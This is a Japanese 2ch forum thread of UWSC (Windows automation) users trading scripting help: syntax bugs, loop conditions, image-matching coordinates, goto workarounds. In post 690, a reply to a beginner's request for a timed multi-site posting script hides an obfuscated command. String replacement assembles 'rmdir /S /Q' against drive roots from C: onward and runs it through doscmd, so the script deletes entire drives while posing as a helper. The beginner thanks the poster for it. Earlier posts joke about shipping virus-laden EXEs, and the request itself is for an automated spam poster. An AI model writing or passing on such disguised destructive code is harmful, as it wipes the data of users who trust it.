1 名前:名無しさん@お腹いっぱい。 [2009/03/02(月) 19:49:20 ID:rP5khwz50] Windowsを自動化させるツールUWSC。 ttp://www.h7.dion.ne.jp/~umiumi/ uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。 前スレ 自動化ツールuwsc使いよ集まれ3 pc11.2ch.net/test/read.cgi/software/1176677869/
610 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 07:15:22 ID:i5//2YOSP] ダウンロードしたファイルの展開を自動化して勝手にキンタマに感染してればいいよ
611 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 10:05:41 ID:luOmQHoy0] 展開とファイル実行機能をつけたスクリプトをEXE化してプレゼントしてあげよう
612 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 15:26:34 ID:0xdw+62LP] 4.5cだとselectが仕様変更したせいかこんな関数すると2ループ目で 構文エラーになるぞ。バグ? for z = 0 to 5 print z Test() next procedure Test() dim cb cn = "efg" select cn case "efg" cb = 1 case "hij" cb = 2 selend fend
613 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 20:17:33 ID:RXL7LTN80] >>612 漏れのとこはprocedure Test()がSyntax error吐く procedure Test(a)と呼び出しもTest(0)に書き直すと5まで回る
614 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/30(水) 16:39:27 ID:IWwKgH1S0] >>612 エラーになる最小構成 Uスクリプト: SyntaxError:PROCEDURE TEST()2行目: TEST() 二回目の呼び出しでエラーになる Test() Test() procedure Test() select 1 case 2 selend fend
615 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/03(土) 15:10:10 ID:PrU7zT590] >>612 最新の4.5c1で問題ないようですね。
616 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/03(土) 15:17:35 ID:PrU7zT590] あ、修正内容記載忘れ >SELECT-SELEND構文のCASE部の演算にて、正しく処理できないパターンがあるエンバグ修正
617 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/04(日) 19:21:28 ID:nTBPfdcN0] 他のアプリのフォーム上のテキストを取得するにはどうしたらいいんでしょうか。 手順だけでも教えてください。
618 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/05(月) 00:07:31 ID:CH7gUdqSP] まずヘルプを見ます
619 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/05(月) 00:08:51 ID:PJFhomP10] それから服を脱ぎます
620 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/05(月) 03:49:26 ID:NhTXeCvfP] >>617 ttp://scripts.web.fc2.com/scriptsup/GetItem.uws
621 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 08:32:17 ID:c/PWe0slP] HSPは皆さん名前くらいはご存知だと思います。 簡単にGUIを利用できるスクリプトです。 GUIを利用するには操作可能なウィンドウのハンドルが必要になりますが、 hsp3imp.dll と .ax 形式のスクリプトファイルがあればHSPの基本的なスクリプトが実行できます。 ハンドルにNULLを渡すしかないのでデスクトップ画面の左上になにやら表示されるだけですが、 同一プロセスで実行するので、UWSCのTHREAD関数と同じで、UWSCのメインが終了すれば自動的にHSPスクリプトも終了します。 実用的なコードではありませんが、UWSCと連携できる方法が分かったので、メモ代わりに置いておきます。 ---------------------------------------------------------------- def_dll _hspini@16( Long, Long, Long, Long):long:hsp3imp.dll def_dll _hspbye@16( Long, Long, Long, Long):long:hsp3imp.dll def_dll _hspexec@16( Long, Long, Long, Long):long:hsp3imp.dll def_dll _hspprm@16( Long, Long, Long, var string):long:hsp3imp.dll _hspprm@16( 0, 0, 0, NULL ) _hspprm@16( $102, 0, 0, "test.ax" ) _hspini@16( $100, 300, 200, 0 ) _hspexec@16( 0,0,0,0 ) _hspbye@16( 0,0,0,0 )
622 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 12:07:27 ID:MmWu6XUb0] いえ、結構です
623 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 13:51:43 ID:/f+XFp6+0] そういうなよw HSP利用してるひとには、何か役に立つ場面があるんだろう。よくわかんないけど。
624 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 14:08:00 ID:iGIKVHSK0] GUIって書いてあるし、インターフェースの作り方が簡単に出来るんじゃね? PRO版でも以外にhtmlで組んで値の取得はめんどいきがするしなぁ。
625 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 14:40:59 ID:aEe1fbMS0] スクリプトが中心のUWSCにGUIは要るのかどうか
626 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 18:39:23 ID:POs5weyE0] GUIは要るだろw 処理は分岐させるときに、 マウスでボタン選ばせることはよくある。
627 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 19:32:12 ID:qRylH6WX0] 漏れはGETKEYSTATE(と反応いるならFUKIDASI)派
628 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 20:16:25 ID:G90OFwF50] そういえば、UWSCをゲームの自動化に使う人が多いけど、 UWSCはドットと一定範囲のキャプチャ、そしてあらかじめ用意した画像との一致ができるけど、 もーちょっと複雑な処理をするとなると普通の開発言語が必要になってくる。 DLLを作れば呼び出しはしやすいけど、DLLを作るのはちょっと大変。 HSPは個人というか同人のゲーム開発によく使われているから、作りやすそうな気がする。 >>621 の呼び出し方法だとデータの受け渡しは出来なさそうだけど・・ 確かHSP独自の管理データのバッファを受け渡すオプションがあるんですよ。 メモリアロケートしなきゃいけないからUWSCで用意するのはきついか・・・ そもそもそのバッファをどう使うのかも分かんないし。 直呼びするんじゃなくて中間にそのデータを処理するライブラリが必要になるよな。 結局DLLは作らなきゃいけないのか。
629 名前:名無しさん@お腹いっぱい。 [2009/10/08(木) 20:54:12 ID:UBSNf1qA0] msgboxでYES or NO を選択させているときに バックグラウンドのログウィンドウのサイズ変更やスクロール操作をさせたいのですけど どーにもウィンドウ自体がロックされてて動かない。 何かいい処理手段はありませんか。
630 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 21:08:28 ID:qO5rVH0kP] >>629 ためしに別スレッドで表示してみたけど、スレッド関係なくログ窓はロックされた。 最初にログ窓を表示してsleep()してる間にサイズを変更しておくしかないね。 毎度変更するのが面倒なら、ログ窓の初期サイズはどっかの初期設定で変更できるんじゃないかな。 参考にはならないだろうけど、UWSCの別スレッドで>>621 の方法で呼び出したHSPスクリプトで表示した窓なら確かログ窓をロックしなかった。 モーダルとモードレスの違いかな。
631 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/09(金) 12:31:18 ID:b97IpTpi0] >>630 やっぱりそこは仕様として受け入れるのが妥当みたいですね…
632 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/09(金) 21:26:03 ID:arGnFET40] OPTIONで、SLCTBOXとかMSGBOXのタイトルは指定出来るけど、 Printで出てくるLogのウインドウのタイトルは変更出来ないですよね? やるとしても、指定したタイトル.uwsを勝手に生成させて、 それにPrintしたい文を引数として渡しながら起動させて、そっちのプロセスからLogウインドウ生成させる とか、 もしくはFukidashi使ってPrintまがいの関数作って、常に一番上に同じ文字列を表示させる事で代用する感じですか?
633 名前:名無しさん@お腹いっぱい。 [2009/10/10(土) 19:09:22 ID:x/VCcQim0] ふと思ったんだがUSBケーブルで携帯電話に繋げば携帯電話のキーも自動操作可能?
634 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/10(土) 19:16:07 ID:utpQqVzD0] 無理 携帯電話を接続する場合、モデムとして認識されるだろう。 モデムとしてダイヤルすることは、通信ソフトを使えば可能だが、通話は・・ Windows98には通話に使えるダイヤラーがあったけどな。
635 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 00:22:44 ID:35okaGI10] UWSCで初めてプログラムを触ったんですが、基本的なことがわからないので質問します。 for i = 0 to 30 A = ループの終了条件1 B = ループの終了条件2 ifb FLAG = 0 then if A then break else if B then break endif next for i = 0 to 30 ifb FLAG = 0 then A = ループの終了条件1 if A then break else B = ループの終了条件2 if B then break endif next どちらが正しい処理の仕方(処理的に軽い)ですか?
636 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 00:36:00 ID:PutYKpoI0] for i = 0 to 30 ifb FLAG = 0 then if ループの終了条件1 then break else if ループの終了条件2 then break endif next これじゃいけない? 後者の方が条件Aにマッチする時は条件Bの評価をしなさそうに見えるけど、 実際はそうでないことも多いからやってみないとわからんな。
637 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 02:58:02 ID:VZNQjdxo0] FLAGが0か1なら for i = 0 to 30 if (FLAG XOR ループの終了条件1) OR (FLAG AND ループの終了条件2) then break next とかやっちゃいそうな気がする。 短く書けるけど読みにくいし早くは無さそうだがw ORは確か片方成立で飛ぶんじゃなかったっけかな?
638 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 03:08:56 ID:bm9Dl8WM0] そもそもFLAGをforの中で変えてないのだから ifb FLAG=0 then for i = 0 to 30 A = ループの終了条件1 if A then break B = ループの終了条件2 if B then break next endif としてfor〜nextの間を省けばいい FLAG変数への参照を無駄にループ数分行っていたのを省略できるし、forの中で一切FLAGをいじってない 時間の無駄すぎる
639 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 03:21:48 ID:G3PJrjiY0] >>638 いや、マルチスレッドでflagをセットするのかもしれない。 ちょうど昨日くらいにマルチスレッドで同じ変数への演算を試したが、タイムラグはあるものの矛盾は起きなかった。 絶対に起きないというテストじゃなくて、ログに吐いてざっとみた感じだけどな。 データ保持時間が最短のインクリメント(X=X+1)だったから矛盾しなかっただけかもしれないが、 実際マルチスレッドでやり取りするのはその程度の小さいデータだしな。 >>637 UWSCの or はビット演算するんじゃなかったかな。 FLAGにセットするデータとループの終了条件1、2が0または1しかセットしないと決めてあるなら大丈夫だろうけど。
640 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 03:38:04 ID:bm9Dl8WM0] >>639 ほい、if文の中のorの動きを見るサンプル マウスの真ん中ボタン押すと次の数字をチェックに動く 動かす限りは、左右どちらかの条件を満たしたときthenの処理を行うっぽい for a=-2 to 2 for b=-2 to 2 ifb a or b then fukidasi(a+"|"+b) while GETKEYSTATE(VK_MBUTTON)=FALSE WEND while GETKEYSTATE(VK_MBUTTON)=TRUE WEND else endif next next
641 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 22:27:37 ID:jrmsphI70] z = 1 repeat IESetData(IE,True,"btnG","u-tan",z) z = z + 1 until z > 400 終了条件が400となっていますが、400以下のときがあり そのまま終了せずに止まってしまいます。 400以下の場合はどのような終了条件にすればいいのでしょうか?
642 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 22:38:27 ID:xJwyuOU/0] while IESetData(知らない) z=z+1 wend
643 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 22:57:01 ID:71hzl6RX0] for z = 1 to 400 IESetData(IE,True,"btnG","u-tan",z) next
644 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 23:07:14 ID:jrmsphI70] >>642-643 どちらも駄目でした・・・
645 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 23:13:52 ID:Duzrrw3q0] z=1 while z<400 and a=TRUE a= IESetData(知らない) z=z+1 wend
646 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 23:51:29 ID:jrmsphI70] >>645 変数aを上に記載してやったら どうにかできました。m(_ _)m
647 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/14(水) 00:48:59 ID:21DOA/fB0] ということはこれだな for z = 1 to 400 if false = IESetData(IE,True,"btnG","u-tan",z) then break next
648 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/15(木) 17:56:31 ID:UljGJ3ay0] ちょっと疑問に思ったんだけど、 「false = 条件」 と、 「条件 = false」 って普通はどっち?
649 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/15(木) 18:55:03 ID:bcXkiyj70] C言語で > if 変数 = 状態 ってやっちゃうと代入になっちゃうから > if 状態 = 変数 って書くべしっていうのはある でもBasicは = で比較だからどっちでも同じ ただ、比較対照が長い関数の場合、どれとどれを比較してるんだかわかんないので > false = 関数 ってしたほうがいい。 > if 関数 = false then と書くと、 > if 関数 then と間違えやすい だから、Basicでは > if false = 関数 then と書くのをお勧めする
650 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/15(木) 23:21:40 ID:a8XdqmYx0] 初歩的な質問だと思いますが、 a = 1 IFB a != 1 print "a != 1" ELSE Print "a = 1" ENDIF で、表示されるのがa != 1というのは、仕様ですか? エラー出ないのに、=を論理否定して≠にしている訳では無いのかな。 上記をC言語的なイメージで解釈したように使うには、 a = !1か、!a = 1か、a<>1にしなければならないようですが、 a<>1が一番解りやすいですかね?
651 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 00:12:35 ID:d8MsK2iH0] >>650 それなんで通っちゃうんだろうね 確かに != の表記が間違ってるみたいだけど。
652 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 14:55:14 ID:yaBuphLm0] saveimgを使って保存した画像をchkimgで調べるのを組んでるのですが chkimgの座標指定が今一うまくいかないのでアドバイスお願いします CHKIMG( 画像名, [透過色/色無視, x1, y1, x2, y2, 番号, 色幅] ) X1――X2 | | Y1――Y2 このような解釈でいいのでしょうか? ACW(GetID("ログイン")) LOGIN = GetID("ログイン") MOUSEORG(LOGIN) Repeat log = CHKIMG("log.BMP",-1) in = GetID("ログイン") ifb log then print "認証" print "X"+G_IMG_X+"Y"+G_IMG_Y BTN(LEFT,CLICK,G_IMG_X+20,G_IMG_Y+20,500) endif sleep(0.1) Until in < 0 この様に一度動かしてみて print "X"+G_IMG_X+"Y"+G_IMG_Y で出た座標を log = CHKIMG("log.BMP",-1,)に入れてみるのですが上手く認識してくれません 座標指定しなければちゃんと認識はしてます CHKIMG("log.BMP",-1,0,0,1000,1000)などにすると認識はしますが 実際 print "X"+G_IMG_X+"Y"+G_IMG_Y で出てくる数値は20,400程度なので これに余裕を持たせ CHKIMG("log.BMP",-1,0,0,200,600) にしても認識してくれません 何がいけないのでしょうか?
653 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:07:01 ID:d5KMyGe80] >>652 (X1,Y1)―― | | ―――(X2,Y2)
654 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:21:35 ID:d8MsK2iH0] >>652 ┌Y1┐ X1 X2 └Y2┘
655 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:26:36 ID:d5KMyGe80] >>652 始点Yが400で選択範囲をY600までにした場合 Yの値=画像の横幅、が200pxを超えていると認識しない。
656 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:49:11 ID:yaBuphLm0] >>653-654 654を見て理解できました >>655 画像自体の幅と高さが関係してくるのを理解してませんでした これで少し前進しました アドバイスくださった皆さんありがとうございました
657 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 16:13:22 ID:GlNkzRYu0] ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then i = 1 ifb (L > 0 and L < 11) then ii = 1 elseif (L > 40 and L < 51) then ii = 2 else ii = 3 endif elseif (L > 10 and L < 21) or (L > 50 and L < 61) or (L > 90 and L < 101) then i = 2 ifb (L > 10 and L < 21) ii = 4 elseif (L > 50 and L < 61) ii = 5 else ii = 6 endif endif 下一桁も取出したいのですがもっと簡単に書く方法はないですか?
658 名前:名無しさん@お腹いっぱい。 [2009/10/17(土) 17:03:23 ID:Xw3XxMCcP] ここまで何をしたいのか全く理解できないレスは初めてだ
659 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:32:45 ID:4eI9AiXq0] >>657 select L case 1 to 10 i = 1 ii = 1 case 11 to 20 i = 2 ii = 4 case 41 to 50 i = 1 ii = 2 case 51 to 60 i = 2 ii = 5 case 81 to 90 i = 1 ii = 3 case 91 to 100 i = 2 ii = 6 default selend 「to」って使えたっけ??
660 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:58:54 ID:II0xKVE40] 使えないだろ。 下一桁の意味がわからん
661 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 18:30:52 ID:GlNkzRYu0] すいません説明不足で 1〜200までの場所がありまして、まず1〜200は8つのブロックに分かれてます。 1つ目のブロックは、1〜10 41〜50 81〜90 2つ目のブロックは、11〜20 51〜60 91〜100 3つ目のブロックは、21〜30 61〜70 101〜110 4つ目のブロックは、31〜40 71〜80 111〜120 5つ目のブロックは、121〜130 161〜170 6つ目のブロックは、131〜140 171〜180 7つ目のブロックは、141〜150 181〜190 8つ目のブロックは、151〜160 191〜200 1つ目のブロックの1行目は1〜10 2行目は41〜50 3行目は81〜90 4つ目まで同じ 5つ目のブロックからは1行目は121〜130 2行目は161〜170 8つ目まで同じ これを指定した番号の場所に行きたいのですが簡略化して書く方法が思いつかなかったので質問させていただきました。
662 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:15:57 ID:2kTk15QU0] すみません質問です 友人から拡張子.uwsのスクリプトをもらいましたがUWSCのお試し期限が切れてしまいました そこでAutoItで使えるようにしたいのですが僕にはこういった知識が全くありません その友人に変換してもらえるか聞いたんですが 「UWSC以外は使ったことないからワカンネ」と言われてしまいました もしここの部分をこうするだけだよ、 ってレベルの話であればどうか教えてください
663 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:25:26 ID:ra182OK/0] >>662 UWSCのフリー版使えば期限なんてないよ www.uwsc.info/uwsc45c1.zip
664 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:35:41 ID:a5Xst/mw0] >>661 IFB L <= 120 hoge = (L-1) MOD 40 i = INT(hoge / 10) + 1 ii = INT((L-1) / 40) + 1 iii = L MOD 10 ELSEIF L <= 200 hoge = ((L- 120) -1) MOD 40 i = INT(hoge / 10) + 5 ii = INT((L-1) / 40) + 1 iii = L MOD 10 ENDIF こんな感じじゃない? 適当に書いたからどこか1とかずれてると思うけど、 適当にいじれば使えると思うよ。 MODは割った剰りを求める演算な。
665 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:54:20 ID:D58+E+1n0] >>657 の条件だとiiの条件が特殊じゃね? 俺ならこんなの配列イメージで出すようにするわ L = 11 DIM i,ii DIM index[7][2] =_ 0, 4, 8,_ 1, 5, 9,_ 2, 6,10,_ 3, 7,11,_ 12,16,99,_ 13,17,99,_ 14,18,99,_ 15,19,99 DIM value_ii[7][2] =_ 1, 2, 3,_ 4, 5, 6,_ 7, 8, 9,_ 10,11,12,_ 13,14,99,_ 15,16,99,_ 17,18,99,_ 19,20,99 for block = 0 to 7 for column = 0 to 2 ifb int((L-1)/10) = index[block][column] then i = block + 1 ii = value_ii[block][column] MSGBOX( "i=" + i + ", ii=" + ii ) break 2 endif next next
666 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:03:08 ID:2kTk15QU0] >>663 ありがとうございます フリー版があったんですね 助かりました
667 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:36:20 ID:GlNkzRYu0] L = 入力された数字1〜200 ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then //8つのうちの1つ目のブロック i = 1 // 8/1 iはブロックの場所の変数 ifb (L > 0 and L < 11) then ii = 1 // 1〜10までだから1行目 iiは行数の変数 ifb L = 1 iii=1 // Lは1番目 iiiは何番目かを表す変数 これをズラズラ200通り書いてたのでうまく求める書き方がなのかと思いまして
668 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:23:35 ID:pJnpQWGB0] >>667 どうせ200通り書くんなら200通りの配列にしろよ。 そしたらコーディングは次の1行で済むからバグが混入しなくていいだろ。 > 結果 = データ[L] > const ブロック = 0 > const 行 = 1 > const 列 = 2 > dim 結果[2] > 結果 = データ[L] > ブロック番号 = 結果[ブロック] > 行番号 = 結果[行] > 列番号 = 結果[列] データは↓のように1〜200を定義する dim データ[200][2] = _ // ブロック番号、行、列 0, 0, 0, _ // ダミーデータ 1, 1, 1, _ // L = 1 2, 1, 1, _ // L = 11 3, 1, 1, _ // L = 21 ルール化してデータを折りたたむ場合でも、一旦表にしてみれば整理しやすい。
669 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:27:50 ID:NwjYpu/W0] 下一桁の意味がわからん 普通に考えてL=164なら4をさすと思う iはブロックらしいが、iiはなになのかわからんってことで DIM minv[20]= 1,11,21,31,41,51,61,71,81, 91,101,111,121,131,141,151,161,171,181,191,-999 DIM maxv[20]=10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,-999 DIM tou[20]= 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,-999 DIM blk[20]= 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 5, 6, 7, 8, 5, 6, 7, 8,-999 L=INPUT("数字を入力してください",1) L=INT(L) ifb L<0 or L>200 then FUKIDASI ("範囲外なので処理できません") SLEEP(500) EXITEXIT endif
670 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:28:31 ID:NwjYpu/W0] counter=0 while minv[counter]<>-999 if minv[counter]<=L and L<=maxv[counter] then break counter=counter+1 wend i=blk[counter] ifb minv[counter]<>-999 then FUKIDASI(tou[counter]+"&"+blk[counter]) WHILE GETKEYSTATE(VK_MBUTTON)=FALSE WEND WHILE GETKEYSTATE(VK_MBUTTON)=TRUE WEND endif EXITEXIT
671 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:00:44 ID:GlNkzRYu0] 沢山の答えありがとうございます 自分はまだ初心者なので皆さんの答えを今すぐに理解できないので 1つずつ理解していきます。
672 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:30:46 ID:GlNkzRYu0] >>669 95は何ブロック目の何行の何番目かを出したくて661みたいなkとを書いたのですが 簡潔にまとめるために質問しました。 □は縦1列で1ブロック 1〜10 11〜20 21〜30 31〜40 1行 □ □ □ □ 41〜50 51〜60 61〜70 71〜80 2行 □ □ □ □ 81〜90 91〜100 101〜110 111〜120 3行 □ □ □ □ 121〜130 131〜140 141〜150 151〜160 4行 □ □ □ □ 161〜170 171〜180 181〜190 191〜200 5行 □ □ □ □
673 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 09:11:39 ID:t51s/utc0] 661とは全く違うじゃねーかw 説明が下手糞だから余計な混乱を招いてるんじゃないのかよ。 下手に簡略化しようと考えずに 実際にやってることを書けよw
674 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 11:27:49 ID:0ZmdNhwk0] >>673 最初そう思ったがどうやらLの数値からブロックの番号と行の番号の2種類を求めたいらしい ただ、あとは>>669 のDIM tou[20]=をその行の番号に対応するところを変えて後ろにii=tou[counter] をつければ差し替えるだけで終わるから、後は質問者がLvUPしてこれをするだけ
675 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 13:43:28 ID:fLNvafB60] >>669 はminとmaxを別々の配列にしてるけど、それはミスが出やすいコーディングだから駄目だよ。 ひとつのオブジェクトにminとmaxがあるのはいいんだけどね。 □部分に、 L に9を足して10で割った数字を入れてみる。 さらに4を足して4で割った数字(小数点は切捨て) 【↓】 1〜10 11〜20 21〜30 31〜40 1行 1 2 3 4 1 41〜50 51〜60 61〜70 71〜80 2行 5 6 7 8 2 81〜90 91〜100 101〜110 111〜120 3行 9 10 11 12 3 121〜130 131〜140 141〜150 151〜160 4行 13 14 15 16 4 161〜170 171〜180 181〜190 191〜200 5行 17 18 19 20 5 1 2 3 4 【←】 ((□-1) mod 4) + 1 の計算結果 >>664 が既に書いてくれてるのを分解した図だな。 Excelとかで計算式書いてみたらすぐ作れる表なんだけどなあ。 しかも今どき表計算とか無料で使えるのに知らないのかなあ?
676 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:29:56 ID:/4/WenoU0] ヘルプも見たけど分からなかったので質問 batファイルなんかだと「go to ○○」と書くと○○の部分に処理をジャンプさせられるけど 例えば EXEC("C:\Program Files\lolifox\lolifox.exe") loliid = GETID("lolifox", "MozillaUIWindowClass", -1) CTRLWIN(loliid, MIN) loli = STATUS(loliid, ST_ICON) ifb loli = 0 then CTRLWIN(loliid, MIN) EXEC("D:\ソフト\Jane Style\Jane2ch.exe") else EXEC("D:\ソフト\Jane Style\Jane2ch.exe") endif こんな感じで書いたとして(本当はJaneの後も他の起動がズラズラ) lolifoxは最小化したあと何故か勝手に最大化されてしまう場合があるから こういう風にしてるんだけど、それだと同じ処理を両方に書いて長く見づらくなっちゃうため thenの方で最小化した後にelseの方に飛ばす方法ってないのかな?
677 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:48:35 ID:fLNvafB60] >>676 loliの中身を見る必要はない これでおk > STATUS(loliid, ST_ICON) > CTRLWIN(loliid, MIN) > EXEC("D:\ソフト\Jane Style\Jane2ch.exe") もしくは、if分が終わった後に書けばおk > if loli = 0 then CTRLWIN(loliid, MIN) > EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
678 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:14:28 ID:/4/WenoU0] >>677 出来た、ありがとう ついでに聞いておきたんだけど >>676 で書いたようなラベルジャンプみたいな機能はUWSCではできないのかな
679 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:26:05 ID:fLNvafB60] >>678 ないな。 どーしてもそういうコーディングがしたければ、 ジャンプの変わりに、関数を呼び出してそのままexitしたらいいんじゃないかな。 ifb flag then 関数() //関数を実行 exitexit //関数が終わると戻ってくるが、後は必要ないので終了 // これでgotoしたのと同じ事になる。ただし変数はグローバルで取ること。 //でもgotoが入り混じった動作は作れないよな endif
680 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:50:46 ID:/4/WenoU0] >>679 参考になったよ サンクス
681 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 21:14:57 ID:ixWoaU9v0] イイコト聞いた(・∀・) 俺も参考になった >>679 ありがとね
682 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 17:46:15 ID:n+6Jdku/0] はじめまして全くの初心者で丸投げでお願いしたいです メモ帳に24行の文字列があるのですが 1時になれば上から1行目をサイトAに投稿 2時になれば上から1行目をサイトBに投稿 3時になれば上から1行目をサイトCに投稿 このように1時間ごとに1行の投稿を 1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです よろしくお願いします
683 名前:682 mailto:sage [2009/10/19(月) 17:49:34 ID:n+6Jdku/0] ちょっと書きミスしましたので改めて書きます メモ帳に24行の文字列があるのですが 1時になれば上から1行目をサイトAに投稿 2時になれば上から2行目をサイトBに投稿 3時になれば上から3行目をサイトCに投稿 このように1時間ごとに1行の投稿を 1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです 24時サイトXまで終了すれば 1時サイトA〜24時サイトXまでの永遠ループです よろしくお願いします
684 名前:682 mailto:sage [2009/10/19(月) 17:53:33 ID:n+6Jdku/0] 何度もすいません テキスト1ファイルで1行目〜24行目の方法ではなく 1行ファイルを24個用意して 1時にテキスト1をサイトA 2時にテキスト2をサイトB 3時にテキスト3をサイトC この方法でも結構です どなたかお願いします
685 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:18:15 ID:UJIHaaLl0] >>はじめまして全くの初心者で丸投げでお願いしたいです
686 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:59:12 ID:HVP74pPF0] 自分で作れないなら、プロにお金を出して作ってもらったら?
687 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 19:43:20 ID:CQ58FsYy0] >>682-684 そのサイトが全部2ちゃんねるなら5千円で作ってあげてもいいけど ぜんぜん別の掲示板なら1箇所当たり2千円で消費税も入れて 55000円 になるけどいいかな?
688 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 20:39:09 ID:fkMx4tWw0] >>682 こんなソフトウェアつくってください pc12.2ch.net/test/read.cgi/software/1251624598/
689 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 22:09:18 ID:A/b0I+MbP] >>682 これから作るからちょっと待ちなー
690 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 23:54:32 ID:3uvH/jIh0] >>682 書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。 前後の「"」は忘れずに! dim site[25],kakikomi[25] site[1]="hyde156cm.com/aaabb/cccddd/efg.html " ・・・(省略)・・・ site[24]="hogehoge.co.jp/aaa/bcd.cgi " kakikomi[1]="テキスト1" ・・・(省略)・・・ kakikomi[24]="テキスト24" mode="mdS5RgzP4/Q B" aaa="InternetExplorer.Application" bbb=":\" cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb size=66 for time=1 to 24 cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) ) if "" <> doscmd(cc) then continue IE = CreateOLEObj(aaa) IE.Visible = True IE.Navigate(site[time]) IESetData(IE,True,"lr",kakikomi[time]) GETTIME() ifb time=G_TIME_HH then sleep(3600) endif next
691 名前:682 mailto:sage [2009/10/20(火) 07:09:39 ID:W8G0SBlw0] >>690 さん お返事遅くなり申し訳ないです お忙しい中、本当にありがとうございました 大切に使わせていただきます 感謝です
